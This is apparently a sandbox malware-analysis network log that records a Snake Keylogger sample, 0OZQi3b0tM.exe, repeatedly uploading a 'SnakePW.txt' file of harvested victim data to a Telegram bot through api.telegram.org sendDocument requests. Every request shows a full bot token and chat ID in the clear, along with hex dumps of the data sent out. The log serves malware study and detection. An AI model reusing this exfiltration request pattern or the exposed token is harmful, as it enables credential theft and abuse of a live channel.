Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.5	49931	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:16 UTC	146	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756eabb954a Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:16 UTC	147	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 61 62 62 39 35 34 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756eabb954aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:16 UTC	147	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:16 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:16 UTC	148	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66845,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228796,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.5	49934	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:16 UTC	148	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756eaf730d3 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:16 UTC	148	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 61 66 37 33 30 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756eaf730d3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:16 UTC	149	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:16 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:16 UTC	149	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66846,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228796,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.5	49936	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:16 UTC	150	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756eb3c569c Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:16 UTC	150	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 62 33 63 35 36 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756eb3c569cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:17 UTC	151	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:17 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:17 UTC	151	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66847,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228797,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49777	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:41 UTC	15	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d666ed16 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:41 UTC	15	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 36 36 36 65 64 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d666ed16Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:42 UTC	16	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:42 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:42 UTC	16	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66755,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228762,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.5	49937	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:17 UTC	152	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756eb7a5109 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:17 UTC	152	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 62 37 61 35 31 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756eb7a5109Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:17 UTC	152	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:17 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:17 UTC	153	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66848,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228797,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.5	49938	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:17 UTC	153	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ebbf7543 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:17 UTC	154	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 62 62 66 37 35 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ebbf7543Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:18 UTC	154	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:18 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:18 UTC	154	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66849,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228797,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.5	49939	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:18 UTC	155	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ebf3e97a Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:18 UTC	155	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 62 66 33 65 39 37 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ebf3e97aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:18 UTC	156	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:18 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:18 UTC	156	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66850,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228798,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.5	49940	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:18 UTC	157	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ec31e688 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:18 UTC	157	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 63 33 31 65 36 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 